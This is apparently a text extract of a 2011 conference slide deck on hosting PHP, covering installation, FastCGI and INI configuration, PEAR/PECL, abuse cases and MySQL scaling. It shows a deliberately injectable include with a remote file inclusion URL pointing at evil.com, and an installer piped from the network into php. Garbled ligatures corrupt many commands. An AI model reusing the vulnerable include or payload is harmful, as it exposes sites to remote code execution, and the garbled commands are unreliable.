Php through the eyes of a hoster phpbnl11

PHP through the eyes of a hoster

Thijs FerynEvangelist+32 (0)9 218 79 [email protected]

PHPBenelux ConferenceSaturday January 29th 2011Antwerpen, Belgium

mailto:[email protected]

mailto:[email protected]

Welcome to PHPBNL11

About me

I’m the support manager at Combell

About me

I’m the support manager at Combell

I used to be

About me

I’m an Evangelist at Combell

About me

I’m a board member at PHPBenelux

I live in the wonderful city of Bruges

MPBecker -‐ Bruges by Night hYp://www.flickr.com/photos/galverson2/3715965933

http://www.flickr.com/photos/galverson2/3715965933

http://www.flickr.com/photos/galverson2/3715965933

Follow me on TwiYer: @ThijsFeryn

Read my blog: hYp://blog.feryn.eu

Give me feedback: hYp://joind.in/2490

http://blog.feryn.eu




Chapter I : The hoster, a genuine stakeholder in the PHP universe

Stakeholders

Customer Development company

Endusers MGMT

InternalIT

InternalPM

Devs

Sales

MGMT

QA

Design

Systeam

PM

Consultant

Hoster PHP community

Stakeholders

Your app needs to be hosted

Somewhere along the road ...

Goals & mocves

Our goals & moEves are the same as yours:• It has to work• It has to perform• It has to scale• It has to be secure• It has to be available

Chapter II: Installacon & configuracon

Installing from source

server$ ./configure -‐-‐prefix=/usr/local/php-‐5.2.10 -‐-‐with-‐apxs2=/usr/local/httpd-‐2.2.12/bin/apxs -‐-‐with-‐zlib -‐-‐with-‐curl -‐-‐with-‐gd -‐-‐enable-‐mbstring -‐-‐with-‐mysql -‐-‐with-‐mysqli -‐-‐enable-‐pcntl -‐-‐with-‐pdo-‐mysql -‐-‐with-‐readline -‐-‐enable-‐soap -‐-‐with-‐xsl -‐-‐with-‐mcrypt -‐-‐with-‐mssql -‐-‐with-‐snmp -‐-‐with-‐imap -‐-‐with-‐kerberos -‐-‐with-‐imap-‐ssl -‐-‐with-‐config-‐file-‐path=/etc/php5/ -‐-‐enable-‐sockets -‐-‐with-‐freetype-‐dir -‐-‐with-‐openssl

server$ make

server$ make install

Installing using a package manager (APT/Apctude)

Install PHP:

Install MySQL library for PHP:

server$ apt-‐get install php5

server$ apt-‐get install php5-‐mysql

SAPI ... schmapi

Mod_php FastCGI CLI

Web Apache module gateway -‐

Process Apache process php-‐cgi php

ConfiguraEon Apache conf files wrapper on the fly

User Apache user shell user or suexec user shell user

FastCGI

Example config:• Apache handler

<IfModule mod_fcgid.c> SuexecUserGroup dev dev PHP_Fix_Pathinfo_Enable 1 <Directory /var/www/dev/www/> Options +ExecCGI AllowOverride All AddHandler fcgid-‐script .php FCGIWrapper /var/www/dev/etc/fcgi.wrapper .php Order allow,deny Allow from all </Directory> </IfModule>

FastCGI

Example config:• Wrapper script

#!/bin/shPHPRC=/usr/local/php-‐5.3.1/etcexport PHPRCexport PHP_FCGI_MAX_REQUESTS=5000export PHP_FCGI_CHILDREN=8exec /usr/local/php-‐5.3.1/bin/php-‐cgi

INI seengs: tales of good & evil


Defining INI seengs:• Php.ini• Ini_set()• “-‐d” • php_value• php_flag• php_admin_value• php_admin_flag


Memory_limit:

Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 35 bytes)


Safe_mode & Open_basedir:

<IfModule mod_php5.c> php_admin_flag engine on php_admin_flag safe_mode off php_admin_value open_basedir "/var/www/vhosts/website.com/httpdocs:/tmp"</IfModule>


Allow_url_fopen:

<?php$lang= $_GET['lang'];require("$lang.php");

http://domain.ext/index.php?lang=http://evil.com/hack.txt?



Chapter III: Versions & features

PHP 4: End of life, but far from dead

PHP 4: End of life, but far from dead

Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in test.php on line 4

Developers love bling bling

It HAS to be PHP 5.3.5 !!!

I need ALL PHP extension !!!

I use ALL PHP features !!!

Fruit & vegetables: PEAR & PECL


PEARPHP Extension and ApplicaEon Repository (h#p//pear.php.net)

server$ pear install date

server$ lynx -‐source http://pear.php.net/go-‐pear | php

http://pear.php.net/go-pear

http://pear.php.net/go-pear


PECL (pickle)PHP Extension Community Library (h#p//pecl.php.net)

server$ pecl install pecl_http

Popular frameworks outside the PHP project

External frameworks

Chapter IV: PHP aYracts a crowd

It’s easy !

That easy !

<?phpecho "Hello world!";

It’s cheap !

It’s stable !

Everyone can be a PHP developer

But not everyone has what it takes

Luckily there’s a lot ready-‐to-‐use PHP so\ware out there

Who you gonna call ?

But when helpers need help ...

They reach out to the PHP community

BlogsForums

User Group meeEngs

Conferences

PHP.netTwi^er

IRC

Chapter V: Here be phpirates

Here be phpirates

Fact

“The majority of hacking/absue cases are PHP related”

False assumpcons

“Open source is evil”

“PHP has lots of security vulnerabiliEes and is not mature”

Here be phpirates

The real issues• Quality of the code• Network & server security• PHP version & configuraEon

Responsibilices

Chapter VI: Scalability

Performance == speed

Scalability == constant speed under increasing load

Scaling up

Scaling out

Developers (some2mes) forget ...

Scaling MySQL

mysql> explain SELECT field1, (SELECT COUNT(*) FROM table2 WHERE field3 = table1.id) FROM table1 WHERE field2 = 1 ORDER BY field4 DESC limit 12,12;

*************************** 1. row *************************** id: 1 select_type: PRIMARY table: table1 type: ALLpossible_keys: approved key: approved key_len: NULL ref: NULL rows: 3143 Extra: Using where; Using filesort*************************** 2. row *************************** id: 2 select_type: DEPENDENT SUBQUERY table: table2 type: ALLpossible_keys: NULL key: NULL key_len: NULL ref: NULL rows: 1005 Extra: Using where

mysql> show processlist;+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+| Id | User | Host | db | Command | Time | State | Info |+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+| 63515 | root | localhost | db | Query | 0 | NULL | show processlist || 81763 | root | localhost | db | Sleep | 105 | | NULL || 85187 | root | localhost | db | Query | 0 | Sending data | SELECT data from someTable where field = 'val' || 82701 | root | localhost | db | Query | 0 | Copying to tmp table | SELECT data from someTable where field='val2' || 82709 | root | localhost | db | Query | 0 | Sorting result | SELECT data from someTable where order by field || 82716 | root | localhost | db | Query | 0 | Opening tables | SELECT data from someOtherTable |+-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+

Scaling MySQL with replicacon

PHP scalability toolbox

Memcached

Gearman

Varnish

Summary

Summary

1.Hosters are a genuine stakeholder in the PHP universe2.PHP is highly flexible & configurable. Hosters have to ensure a decent setup

3.PHP has a lot to offer feature-‐wise4.PHP aDracts a crowd and brings a lot of people together from different industries (e.g. hosters)

5.Lots of abuse cases are PHP related, but that’s not the fault of PHP itself

6.PHP itself doesn’t scale *that* well, but is flexible enough to ensure scalability via extra tools

Php through the eyes of a hoster phpbnl11

Technology

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